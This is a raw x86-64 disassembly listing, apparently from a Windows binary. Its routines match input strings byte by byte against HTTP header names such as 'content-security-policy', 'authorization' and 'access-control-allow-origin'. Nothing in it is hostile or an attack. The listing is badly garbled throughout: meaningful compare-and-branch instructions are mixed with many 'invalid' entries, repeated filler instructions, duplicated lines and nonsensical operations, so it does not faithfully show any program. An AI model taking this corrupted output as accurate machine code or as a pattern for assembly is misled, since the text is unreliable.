cmp byte [rcx + 7], 0x2d
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 8], 0x73
jne case.0x14002f51e.103
or byte [rbx + 0xf], dh
jae 0x14002f5a6
test dword [rbp - 0x7fffffe0], ebp
cmp byte [rcx + 9], 0x65
jne case.0x14002f51e.103
add byte [rax], al
jns 0x14002f5a8
jne case.0x14002f51e.103
add byte [rax], al
cmp byte [rcx + 0xa], 0x63
jne case.0x14002f51e.103
or ah, byte [rbx + 0xf]
test dword [rcx - 0x7fffffe0], ebx
invalid
cdq
and byte [rax], al
add byte [rax + 0xf750b79], al
cmp byte [rcx + 0xb], 0x75
jne case.0x14002f51e.103
jns 0x14002f5be
jne 0x14002f5c4
test dword [rdi - 0x7fffffe0], ecx
jns 0x14002f5c9
jne case.0x14002f51e.103
cmp byte [rcx + 0xd], 0x69
jne case.0x14002f51e.103
invalid
jns 0x14002f5d4
imul ecx, dword [rdi], 0x207b85
add byte [rax + 0xf740e79], al
test dword [rcx + 0x20], esi
jno 0x14002f5f6
add byte [rax], al
cmp byte [rcx + 0xf], 0x79
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf2d1079], al
test dword [rbp + 0x20], ebx
and byte [rax], al
invalid
cmp byte [rcx + 0x10], 0x2d
jne case.0x14002f51e.103
and byte [rax], al
invalid
and byte [rax], al
add byte [rax + 0xf701179], al
test dword [rbx + 0x20], edx
add byte [rax], al
cmp byte [rcx + 0x11], 0x70
jne case.0x14002f51e.103
cmp byte [rcx + 0x12], 0x6f
jne case.0x14002f51e.103
test dword [rcx + 0x20], ecx
add byte [rax], al
and byte [rax], al
add byte [rax + 0xf6c1379], al
cmp byte [rcx + 0x13], 0x6c
jns 0x14002f616
insb byte [rdi], dx
jne case.0x14002f51e.103
test dword [rdi], edi
and byte [rax], al
add byte [rax + 0xf691479], al
test dword [0xc002f635], esi
jns 0x14002f62c
cmp byte [rcx + 0x14], 0x69
jne case.0x14002f51e.103
and byte [rax], al
add byte [rax + 0xf631579], al
test dword [rbx], ebp
cmp byte [rcx + 0x15], 0x63
jne case.0x14002f51e.103
adc eax, 0x2b850f63
invalid
and byte [rax], al
add byte [rax + 0xf791679], al
test dword [rcx], esp
and byte [rax], al
add byte [rax + 0xf2d1779], al
cmp byte [rcx + 0x16], 0x79
jne case.0x14002f51e.103
cmp byte [rcx + 0x17], 0x2d
jne case.0x14002f51e.103
test dword [rdi], edx
and byte [rax], al
add byte [rax + 0xf721879], al
test dword [0xc002f65d], ecx
jns 0x14002f658
cmp byte [rcx + 0x18], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 0x19], 0x65
jne case.0x14002f51e.103
invalid
jne case.0x14002f51e.103
add byte [rax + 0xf701a79], al
test ecx, edi
invalid
cmp byte [rcx + 0x1a], 0x70
jne case.0x14002f51e.103
cmp byte [rcx + 0x1b], 0x6f
jns 0x14002f66e
outsd dx, dword [rsi]
jne case.0x14002f51e.103
add byte [rax], al
cmp byte [rcx + 0x1c], 0x72
jne case.0x14002f51e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 0x1d], 0x74
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf2d1e79], al
cmp byte [rcx + 0x1e], 0x2d
jne case.0x14002f51e.103
test ecx, edx
invalid
add byte [rax], al
test ecx, edx
invalid
invalid
jns 0x14002f6b0
insb byte [rdi], dx
jne case.0x14002f51e.103
test dword [rbx - 0x4fffffe1], esi
sbb al, 0xb2
jns 0x14002f6dc
mov al, 0x1c
mov dl, 0x79
mov r8d, 0x22
mov eax, 0x22
jmp 0x14002ec13
movzx edx, byte [rcx]
add edx, 0xffffff9f
cmp edx, 0x16
invalid
ja case.0x14002f51e.103
invalid
xchg ebp, eax
invalid
adc al, 0
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
ret 0xe2ff
ret 0xe2ff
test dword [rbx + 0x1f], edi
add byte [rax], al
cmp byte [rcx + 2], 0x74
jne case.0x14002f51e.103
test dword [rcx + 0x1f], esi
add byte [rax], al
test dword [rcx + 0x1f], esi
add byte [rax], al
invalid
cmp byte [rcx + 3], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 4], 0x73
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x76
jne case.0x14002f51e.103
jns 0x14002f6f4
jbe 0x14002f700
test dword [rbx + 0x1f], edx
add byte [rax], al
add byte [rax + 0x4163b20f], dh
mov eax, 6
mov al, 0xf
mov dl, 0x63
mov r8d, 6
jmp 0x14002ec13
movzx edx, byte [rcx]
add edx, 0xffffff9f
ret 0x839f
cmp edx, 0xb
ja case.0x14002f51e.103
cli
invalid
je 0x1400312ed
cmp edx, 0x75
jne case.0x14002f51e.103
invalid
cmp byte [rcx + 2], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x68
jne case.0x14002f51e.103
invalid
jns 0x14002f74a
push 0x1efb850f
add byte [rax], al
invalid
sti
invalid
add byte [rax + 0xf6f0479], al
test ecx, esi
invalid
cmp byte [rcx + 4], 0x6f
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x72
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf690679], al
test ebp, ebx
cmp byte [rcx + 6], 0x69
jne case.0x14002f51e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 7], 0x7a
jne case.0x14002f51e.103
jp 0x14002f780
test ebx, edx
invalid
cmp byte [rcx + 8], 0x61
jne case.0x14002f51e.103
cmp byte [rcx + 9], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 0xa], 0x69
jne case.0x14002f51e.103
jns 0x14002f797
imul ecx, dword [rdi], 0x1eb585
add byte [rax + 0xf6f0b79], al
jns 0x14002f7a2
outsd dx, dword [rsi]
jne case.0x14002f51e.103
mov al, 0x10
mov dl, 0x6e
invalid
invalid
or al, 0
invalid
cmp byte [rcx + 0xb], 0x6f
jns 0x14002f7a2
outsd dx, dword [rsi]
jne case.0x14002f51e.103
invalid
mov al, 0x10
mov dl, 0x6e
mov r8d, 0xc
add byte [rax], al
add cl, ch
hlt
jmp 0x14002ec13
movzx edx, byte [rcx]
cmp edx, 0x70
je 0x1400303a1
add byte [rax], al
add byte [rax], al
cmp edx, 0x61
jne case.0x14002f51e.103
cmp byte [rcx + 1], 0x63
jns 0x14002f7c6
invalid
jne case.0x14002f51e.103
cmp byte [rcx + 2], 0x63
jne case.0x14002f51e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 3], 0x65
jne case.0x14002f51e.103
add byte [rax], al
jns 0x14002f7dc
jne case.0x14002f51e.103
imul ebx, dword [rsi], 0x79800000
add al, 0x73
add byte [rax], al
cmp byte [rcx + 4], 0x73
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x73
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf2d0679], al
test dword [rbx + 0x1e], ecx
invalid
invalid
add byte [rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14002f51e.103
invalid
invalid
add byte [rax], al
invalid
cmp byte [rcx + 7], 0x63
jne case.0x14002f51e.103
jns 0x14002f808
invalid
cmp byte [rcx + 8], 0x6f
jne case.0x14002f51e.103
invalid
cmp byte [rcx + 9], 0x6e
jne case.0x14002f51e.103
invalid
invalid
add byte [rax], al
sub eax, 0x8000001e
jns 0x14002f829
cmp byte [rcx + 0xa], 0x74
je 0x14002f830
jne case.0x14002f51e.103
test dword [rbx], esp
invalid
cmp byte [rcx + 0xb], 0x72
jns case.0x14001d8cc.315
jb 0x14002f83a
jne case.0x14002f51e.103
test dword [rcx], ebx
invalid
add byte [rax], al
cmp byte [rcx + 0xc], 0x6f
jne case.0x14002f51e.103
cmp byte [rcx + 0xd], 0x6c
jne case.0x14002f51e.103
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002f51e.103
sti
invalid
add byte [rax], al
sti
sbb eax, 0x79800000
cmp byte [rcx + 0xf], 0x61
punpcklwd mm1, dword [rdi]
test ecx, esi
sbb eax, 0x79800000
adc byte [rdi + rcx - 0x7b], ch
jne case.0x14002f51e.103
cmp byte [rcx + 0x10], 0x6c
jne case.0x14002f51e.103
out 0x1d, eax
add byte [rax], al
cmp byte [rcx + 0x11], 0x6c
jne case.0x14002f51e.103
add byte [rax + 0xf6f1279], al
cmp byte [rcx + 0x12], 0x6f
adc ch, byte [rdi + 0xf]
jne case.0x14002f51e.103
test ebx, edx
sbb eax, 0x79800000
adc esi, dword [rdi + 0xf]
test ecx, ecx
cmp byte [rcx + 0x13], 0x77
jne case.0x14002f51e.103
leave
sbb eax, 0x79800000
adc al, 0x2d
cmp byte [rcx + 0x14], 0x2d
jne case.0x14002f51e.103
sbb eax, 0x79800000
cmp byte [rcx + 0x15], 0x6f
jne case.0x14002f51e.103
adc eax, 0xb5850f6f
sbb eax, 0x79800000
cmp byte [rcx + 0x16], 0x72
jne case.0x14002f51e.103
add byte [rax], al
invalid
add byte [rax], al
cmp byte [rcx + 0x17], 0x69
jne case.0x14002f51e.103
add byte [rax], al
cmp byte [rcx + 0x18], 0x67
jne case.0x14002f51e.103
cmp byte [rcx + 0x19], 0x69
jne case.0x14002f51e.103
invalid
invalid
add byte [rax], al
jns 0x14002f8ce
imul ecx, dword [rdi], 0x1d8d85
add byte [rax + 0x416eb208], dh
mov dl, 0x6e
mov r8d, 0x1a
add byte [rax], al
lea ebx, [0x148b2f8be]
add byte [rax], al
mov al, 8
mov dl, 0x6e
mov r8d, 0x1a
add byte [rax], al
add byte [rax], al
jmp 0x14002ec13
dec dword [rdi]
mov dh, 0x11
movzx edx, byte [rcx]
cmp edx, 0x76
je 0x14003053b
or al, 0
invalid
or al, 0
add byte [rbx - 0x7bf09b06], al
or al, 0
add byte [rbx - 0x7af09e06], al
invalid
cmp edx, 0x64
je 0x140030522
cli
je 0x140030522
cmp edx, 0x61
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax], al
add byte [rax + 0xf670179], al
test dword [rsi + 0x1d], edx
add byte [rax], al
cmp byte [rcx + 1], 0x67
jns 0x14002f8ed
jne case.0x14002f51e.103
jne case.0x14002f51e.103
mov al, 0xd
mov dl, 0x65
mov r8d, 2
or eax, 0xb84165b2
add al, byte [rax]
add byte [rax], al
jmp 0x14002ec13
movzx edx, byte [rcx]
mov dh, 0x11
adc dword [rbx - 0x7bf09306], eax
cmp edx, 0x6c
je 0x1400304aa
pushfq
or eax, dword [rax]
add byte [rbx - 0x7af09606], al
cmp edx, 0x69
jne case.0x14002f51e.103
cmp byte [rcx + 1], 0x66
jne case.0x14002f51e.103
add byte [rax], al
cmp byte [rcx + 2], 0x2d
jne case.0x14002f51e.103
invalid
cmp edx, 0x69
jne case.0x14002f51e.103
cmp byte [rcx + 1], 0x66
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 2], 0x2d
jne case.0x14002f51e.103
invalid
sbb eax, 0xb60f0000
push rcx
add byte [rdi], cl
mov dh, 0x51
movzx edx, byte [rcx + 3]
cmp edx, 0x72
je 0x140031496
sbb eax, dword [rax]
invalid
add eax, dword [rbx - 0x7bf08d06]
pop rsi
sbb eax, dword [rax]
add byte [rbx - 0x7af09206], al
or byte [0x1b982f943], bl
add al, 0x61
cmp edx, 0x6d
jne case.0x14002f51e.103
cmp byte [rcx + 4], 0x61
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x74
jne case.0x14002f51e.103
test esp, esi
sbb al, 0
invalid
je 0x14002f95f
test esp, esi
sbb al, 0
add byte [rax + 0xf630679], al
jns 0x14002f95e
invalid
invalid
test edx, ebp
sbb al, 0
hlt
cmp byte [rcx + 6], 0x63
jne case.0x14002f51e.103
jns 0x14002f95e
invalid
add byte [rax + 0x4168b227], dh
mov eax, 7
mov al, 0x27
mov dl, 0x68
mov r8d, 7
jmp 0x14002ec13
movsd dword [rdi], dword [rsi]
invalid
invalid
inc dword [rax - 0x7af099c7]
rcr byte [rax + rax], cl
add byte [rax + 0xf6f0179], al
cmp byte [rcx], 0x66
jne case.0x14002f51e.103
test eax, ecx
sbb al, 0
add byte [rax + 0xf720279], al
test dword [rsi - 0x7fffffe4], edi
sbb al, 0
invalid
invalid
jns 0x14002f991
sbb al, 0
add byte [rax + 0xf770379], al
add byte [rax], al
cmp byte [rcx + 3], 0x77
jne case.0x14002f51e.103
ja case.0x14001e2cd.325
test dword [rsp + rbx + 0x79800000], esi
add al, 0x61
invalid
mov ah, 0x1c
add byte [rax], al
cmp byte [rcx + 4], 0x61
jns 0x14002f99c
invalid
jne case.0x14002f51e.103
sbb al, 0
add byte [rax + 0xf720579], al
cmp byte [rcx + 5], 0x72
jne case.0x14002f51e.103
invalid
jns 0x14002f9b2
add byte [rax], al
cmp byte [rcx + 5], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 6], 0x64
jne case.0x14002f51e.103
invalid
xchg esi, eax
sbb al, 0
invalid
jne case.0x14002f51e.103
test dword [rsi - 0x7fffffe4], edx
add byte [rax + 0xf650779], al
test dword [rsp + rbx + 0x24b00000], ecx
mov word [rax + rax], ds
invalid
mov al, 0x24
cmp byte [rcx + 7], 0x65
jne case.0x14002f51e.103
mov word [rax + rax], ds
invalid
jns 0x14002f9bd
jne case.0x14002f51e.103
mov word [rax + rax], ds
add byte [rax + 0x4164b224], dh
mov eax, 8
add byte [rax], al
invalid
add byte [rax], al
mov al, 0x24
mov dl, 0x64
mov r8d, 8
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
invalid
jmp 0x14002ec13
movzx edx, byte [rcx]
cmp edx, 0x78
je case.0x14001d8cc.400
invalid
add byte [rbx - 0x7bf08806], al
jae 0x14002f9ea
test byte [rbx + 0xb], dh
add byte [rax], al
cmp edx, 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 1], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f51e.103
cmp byte [rcx + 2], 0x6e
jne case.0x14002f51e.103
test dword [rbx + 0x1c], ecx
add byte [rax], al
test dword [rbx + 0x1c], ecx
add byte [rax], al
cmp byte [rcx + 3], 0x74
jne case.0x14002f51e.103
test dword [rcx + 0x1c], eax
add byte [rax], al
cmp byte [rcx + 4], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x6e
outsb dx, byte [rsi]
jne case.0x14002f51e.103
cmp byte [rcx + 6], 0x74
jne case.0x14002f51e.103
add byte [rax], al
cmp byte [rcx + 7], 0x2d
jne case.0x14002f51e.103
movzx edx, byte [rcx + 8]
cmp edx, 0x6c
je case.0x14002fbb4.71
add byte [rax], al
mov dh, 0x51
or byte [rbx - 0x7bf09306], al
hlt
add byte [rax], al
cmp edx, 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 9], 0x6e
jne case.0x14002f51e.103
sbb eax, dword [rax]
invalid
sbb eax, dword [rax]
add byte [rax + 0xf630a79], al
test edi, ebp
sbb eax, dword [rax]
add byte [rax + 0xf6f0b79], al
test ebp, esp
sbb eax, dword [rax]
add byte [rax + 0xf640c79], al
test ebx, ebx
sbb eax, dword [rax]
add byte [rax + 0xf690d79], al
test ecx, edx
sbb eax, dword [rax]
add byte [rax + 0xf6e0e79], al
jns 0x14002fa89
outsb dx, byte [rsi]
invalid
jns 0x14002fa89
outsb dx, byte [rsi]
jne case.0x14002f51e.103
test edi, eax
sbb eax, dword [rax]
invalid
test edi, eax
sbb eax, dword [rax]
add byte [rax + 0x4167b216], dh
mov eax, 0xf
mov al, 0x16
mov dl, 0x67
mov r8d, 0xf
add byte [rax], al
add cl, ch
invalid
jmp 0x14002ec13
invalid
movzx edx, byte [rcx]
add edx, 0xffffff9d
cmp edx, 0x11
ja case.0x14002f51e.103
jge 0x14002fadb
adc al, 0
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
ret 0xe2ff
ret 0xe2ff
cmp byte [rcx + 1], 0x64
jns 0x14002fab4
jne case.0x14002f51e.103
jne case.0x14002f51e.103
cmp byte [rcx + 2], 0x6e
jne case.0x14002f51e.103
invalid
test dword [rbx], ebx
add byte [rax], al
test dword [rbp - 0x7fffffe5], eax
jns 0x14002faca
cmp byte [rcx + 3], 0x2d
jne case.0x14002f51e.103
test dword [rbx + 0x1b], edi
add byte [rax], al
sub eax, 0x1b7b850f
test dword [rbx + 0x1b], edi
jnp 0x14002fae7
add byte [rax], al
cmp byte [rcx + 4], 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x61
jne case.0x14002f51e.103
invalid
cmp byte [rcx + 6], 0x63
jne case.0x14002f51e.103
invalid
test dword [rbp + 0x1b], ebx
add byte [rax], al
cmp byte [rcx + 7], 0x68
jne case.0x14002f51e.103
invalid
sbb eax, dword [rax]
add byte [rax + 0xf650879], al
cmp byte [rcx + 8], 0x65
jne case.0x14002f51e.103
or byte [rbp + 0xf], ah
jne case.0x14002f51e.103
test dword [rcx + 0x1b], ecx
add byte [rax], al
cmp byte [rcx + 9], 0x2d
jne case.0x14002f51e.103
sub eax, 0x1b3f850f
add byte [rax], al
cmp byte [rcx + 0xa], 0x63
jne case.0x14002f51e.103
sbb eax, dword [rax]
invalid
sbb eax, dword [rax]
add byte [rax + 0xf6f0b79], al
jns 0x14002fb22
outsd dx, dword [rsi]
jne case.0x14002f51e.103
cmp byte [rcx + 0xc], 0x6e
jne case.0x14002f51e.103
cmp byte [rcx + 0xd], 0x74
invalid
cmp byte [rcx + 0xb], 0x6f
jns 0x14002fb22
outsd dx, dword [rsi]
jne case.0x14002f51e.103
cmp byte [rcx + 0xc], 0x6e
jns 0x14002fb2d
outsb dx, byte [rsi]
jne case.0x14002f51e.103
cmp byte [rcx + 0xd], 0x74
jne case.0x14002f51e.103
test dword [rdi], edx
sbb eax, dword [rax]
add byte [rax + 0xf720e79], al
cmp byte [rcx + 0xe], 0x72
jne case.0x14002f51e.103
invalid
invalid
sbb eax, dword [rax]
invalid
test dword [0xc002fb58], ecx
add byte [rax + 0xf6f0f79], al
test dword [rbx], eax
sbb eax, dword [rax]
add byte [rax + 0x416cb213], dh
mov eax, 0x10
cmp byte [rcx + 0xf], 0x6f
jns 0x14002fb4e
outsd dx, dword [rsi]
jne case.0x14002f51e.103
mov al, 0x13
mov dl, 0x6c
insb byte [rdi], dx
mov r8d, 0x10
add byte [rax], al
jmp 0x14002ec13
invalid
movzx edx, byte [rcx]
cmp edx, 0x72
je 0x1400304f5
adc dword [rbx - 0x7bf08d06], eax
xchg esp, eax
or dword [rax], eax
add byte [rbx - 0x7af09e06], al
fistp word [rdx]
add byte [rax], al
cmp byte [rcx + 1], 0x6c
jns 0x14002fb6e
insb byte [rdi], dx
jne case.0x14002f51e.103
cmp byte [rcx + 2], 0x6c
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x6f
jns 0x14002fb84
add ebp, dword [rdi + 0xf]
test ecx, eax
sbb al, byte [rax]
outsd dx, dword [rsi]
jne case.0x14002f51e.103
rcr dword [rdx], 0
add byte [rax + 0x4177b20e], dh
mov al, 0xe
mov dl, 0x77
mov r8d, 4
mov eax, 4
mov eax, 4
jmp 0x14002ec13
movzx edx, byte [rcx]
add edx, 0xffffff9f
lahf
lahf
cmp edx, 0x12
ja case.0x14002f51e.103
lea r8, [0x140173258]
stosd dword [rdi], eax
adc al, 0
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
cmp byte [rcx + 1], 0x63
jne case.0x14002f51e.103
add dword [rbx + 0xf], esp
test dword [rcx - 0x7fffffe6], ecx
jns 0x14002fbc5
cmp byte [rcx + 2], 0x63
invalid
jne case.0x14002f51e.103
test dword [rdi + 0x1a], edi
add byte [rax], al
cmp byte [rcx + 3], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 4], 0x70
jne case.0x14002f51e.103
jns 0x14002fbdb
jo 0x14002fbe8
test dword [rbx + 0x1a], ebp
add byte [rax], al
sbb al, byte [rax]
add byte [rdx + 0x5b84174], dh
mov r8d, 5
xor eax, eax
invalid
invalid
invalid
mov dl, 0x74
mov r8d, 5
xor eax, eax
jmp 0x14002ec13
cmp byte [rcx], 0x72
jne case.0x14002f51e.103
sbb al, byte [r8]
add byte [rax + 0xf740279], al
test dword [rdi], edi
sbb al, byte [rax]
add byte [rax + 0xf720379], al
test dword [0xc002fc2f], esi
jns case.0x14002c50d.25
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 4], 0x79
jne case.0x14002f51e.103
sbb al, byte [rax]
invalid
jns 0x14002fc28
test dword [rbx], ebp
sbb al, byte [rax]
add byte [rax + 0xf2d0579], al
test dword [rcx], esp
sbb al, byte [rax]
add byte [rax + 0xf610679], al
test dword [rdi], edx
sbb al, byte [rax]
add byte [rax + 0xf660779], al
test dword [0xc002fc57], ecx
cmp byte [rcx + 5], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 6], 0x61
jne case.0x14002f51e.103
cmp byte [rcx + 7], 0x66
jne case.0x14002f51e.103
or eax, 0x8000001a
cmp byte [rcx + 8], 0x74
jne case.0x14002f51e.103
jns case.0x14002de35.14
je 0x14002fc50
test dword [rbx], eax
sbb al, byte [rax]
add byte [rax + 0xf650979], al
jns 0x14002fc52
invalid
invalid
test ecx, edi
sbb dword [rax], eax
cmp byte [rcx + 9], 0x65
jne case.0x14002f51e.103
invalid
jns 0x14002fc52
jne case.0x14002f51e.103
add byte [rax + 0x4172b23a], dh
mov eax, 0xa
invalid
mov al, 0x3a
mov dl, 0x72
mov r8d, 0xa
invalid
add cl, ch
mov ah, 0xef
invalid
jmp 0x14002ec13
movzx edx, byte [rcx]
cmp edx, 0x75
je case.0x14001d8cc.403
cmp edx, 0x73
je 0x14003067a
cmp edx, 0x63
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf6f0179], al
test edx, eax
sbb dword [rax], eax
add byte [rax + 0xf6e0279], al
cmp byte [rcx + 2], 0x6e
jne case.0x14002f51e.103
invalid
jns 0x14002fc97
cmp byte [rcx + 1], 0x6f
jne case.0x14002f51e.103
cmp byte [rcx + 2], 0x6e
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x6e
outsb dx, byte [rsi]
jne case.0x14002f51e.103
scasb al, byte [rdi]
sbb dword [rax], eax
add byte [rax + 0xf650479], al
test dword [rcx + rbx + 0x79800000], esp
add byte [rax], al
cmp byte [rcx + 5], 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 6], 0x74
jne case.0x14002f51e.103
invalid
jns 0x14002fcc3
cmp byte [rcx + 4], 0x65
jne case.0x14002f51e.103
add byte [rax], al
add byte [rax], al
cmp byte [rcx + 5], 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 6], 0x74
jne case.0x14002f51e.103
add byte [rax], al
cmp byte [rcx + 7], 0x69
jne case.0x14002f51e.103
imul ecx, dword [rdi], 0x198685
add byte [rax + 0xf6f0879], al
jns 0x14002fcce
outsd dx, dword [rsi]
jne case.0x14002f51e.103
mov al, 0x14
mov dl, 0x6e
mov r8d, 9
cmp byte [rcx + 8], 0x6f
jns 0x14002fcce
outsd dx, dword [rsi]
jne case.0x14002f51e.103
mov al, 0x14
mov dl, 0x6e
adc al, 0xb2
outsb dx, byte [rsi]
mov r8d, 9
or dword [rax], eax
add byte [rax], al
jmp 0x14002ec13
movzx edx, byte [rcx]
cmp edx, 0x70
je 0x1400307f1
outsb dx, byte [rsi]
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 4], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x6e
jns 0x14002fd2a
outsb dx, byte [rsi]
jne case.0x14002f51e.103
add byte [rax], al
cmp byte [rcx + 6], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 7], 0x2d
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf640879], al
test edi, edi
sbb byte [rax], al
add byte [rax + 0xf690979], al
jns 0x14002fd56
imul ecx, dword [rdi], 0x18f585
cmp byte [rcx + 8], 0x64
jne case.0x14002f51e.103
cmp byte [rcx + 9], 0x69
jne case.0x14002f51e.103
jns 0x14002fd56
imul ecx, dword [rdi], 0x18f585
add byte [rax + 0xf730a79], al
or dh, byte [rbx + 0xf]
test ebx, ebp
sbb byte [rax], al
add byte [rax + 0xf700b79], al
test ecx, esp
sbb byte [rax], al
add byte [rax + 0xf6f0c79], al
test edi, edx
sbb byte [rax], al
add byte [rax + 0xf730d79], al
test ebp, ecx
sbb byte [rax], al
add byte [rax + 0xf690e79], al
test ebx, eax
sbb byte [rax], al
add byte [rax + 0xf740f79], al
test dword [rcx - 0x7fffffe8], edi
jns case.0x14001a36d.929
imul ecx, dword [rdi], 0x18af85
add byte [rax + 0xf6f1179], al
test dword [rbp - 0x4fffffe8], esp
add byte [rax + 0xaf2e915], dh
add byte [rax], al
cmp byte [rcx], 0x70
jne case.0x14002f51e.103
cmp byte [rcx + 1], 0x72
jne case.0x14002f51e.103
invalid
add byte [rax + 0xaf2e915], dh
add byte [rax], al
cmp byte [rcx], 0x70
jne case.0x14002f51e.103
cmp byte [rcx + 1], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 2], 0x6f
jns 0x14002fdc3
outsd dx, dword [rsi]
jne case.0x14002f51e.103
test dword [rcx - 0x7fffffe8], eax
jns 0x14002fdce
cmp byte [rcx + 3], 0x78
jne case.0x14002f51e.103
js 0x14002fddc
test dword [rdi + 0x18], esi
ja 0x14002fde8
add byte [rax], al
cmp byte [rcx + 4], 0x79
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 6], 0x61
jne case.0x14002f51e.103
invalid
cmp byte [rcx + 7], 0x75
jne case.0x14002f51e.103
cmp byte [rcx + 8], 0x74
jne case.0x14002f51e.103
invalid
or byte [rdi + rcx - 0x7b], dh
sbb byte [r8], r8b
add byte [rax + 0xf680979], al
test dword [rbx], edi
sbb byte [rax], al
add byte [rax + 0xf650a79], al
test dword [rcx], esi
sbb byte [rax], al
add byte [rax + 0xf6e0b79], al
cmp byte [rcx + 0xb], 0x6e
invalid
test dword [rdi], esp
cmp byte [rcx + 9], 0x68
jne case.0x14002f51e.103
cmp byte [rcx + 0xa], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 0xb], 0x6e
jne case.0x14002f51e.103
sbb byte [rax], al
invalid
sbb byte [rax], al
add byte [rax + 0xf740c79], al
test dword [0xc002fe45], ebx
jns 0x14002fe3c
add byte [rax], al
cmp byte [rcx + 0xc], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 0xd], 0x69
jne case.0x14002f51e.103
add byte [rax], al
imul ecx, dword [rdi], 0x181385
add byte [rax + 0xf630e79], al
test dword [rcx], ecx
sbb byte [rax], al
add byte [rax + 0xf610f79], al
test edi, edi
invalid
add byte [rax], al
cmp byte [rcx + 0xe], 0x63
jne case.0x14002f51e.103
or dword [rax], ebx
add byte [rax], al
cmp byte [rcx + 0xf], 0x61
jne case.0x14002f51e.103
cmp byte [rcx + 0x10], 0x74
jne case.0x14002f51e.103
cmc
invalid
add byte [rax], al
jns 0x14002fe5d
je 0x14002fe5e
test ebp, esi
cmc
invalid
mov al, 0x32
mov dl, 0x65
mov r8d, 0x11
add cl, ch
mov al, 0xed
invalid
jmp 0x14002ec13
movzx edx, byte [rcx]
mov dh, 0x11
cmp edx, 0x78
je 0x140030979
cmp edx, 0x73
je case.0x14002a151.202
cmp edx, 0x61
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf630179], al
test dword [rsi - 0x7fffffe9], edi
jns 0x14002fe90
cmp byte [rcx + 1], 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 2], 0x63
jne case.0x14002f51e.103
invalid
test dword [rdi + rdx + 0x79800000], esi
add esp, dword [rbp + 0xf]
test dword [rdx - 0x7fffffe9], ebp
jns 0x14002fea6
cmp byte [rcx + 3], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 4], 0x73
jne case.0x14002f51e.103
jae 0x14002feb3
test dword [rax - 0x7fffffe9], esp
jns 0x14002feb1
invalid
cmp byte [rcx + 5], 0x73
jne case.0x14002f51e.103
jae 0x14002febd
test dword [rsi - 0x7fffffe9], edx
add byte [rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14002f51e.103
jns 0x14002febc
sub eax, 0x178c850f
add byte [rax], al
add byte [rax + 0xf630779], al
test dword [rdx - 0x7fffffe9], eax
jns 0x14002fed2
cmp byte [rcx + 7], 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 8], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f51e.103
cmp byte [rcx + 9], 0x6e
jns 0x14002fedd
outsb dx, byte [rsi]
jne case.0x14002f51e.103
cmp byte [rcx + 0xa], 0x74
jne case.0x14002f51e.103
or dh, byte [rdi + rcx - 0x7b]
invalid
cmp byte [rcx + 0xb], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 0xc], 0x6f
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf6c0d79], al
test dword [rsi + 0x17], eax
add byte [rax], al
cmp byte [rcx + 0xd], 0x6c
jne case.0x14002f51e.103
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 0xf], 0x6d
jne case.0x14002f51e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 0x10], 0x61
jne case.0x14002f51e.103
cmp byte [rcx + 0x11], 0x78
jne case.0x14002f51e.103
cmp byte [rcx + 0x12], 0x2d
jne case.0x14002f51e.103
jns case.0x14002de35.34
sub eax, 0x1714850f
add byte [rax], al
cmp byte [rcx + 0x13], 0x61
jne case.0x14002f51e.103
cmp byte [rcx + 0x14], 0x67
jne case.0x14002f51e.103
invalid
jns 0x14002ff56
jne case.0x14002f51e.103
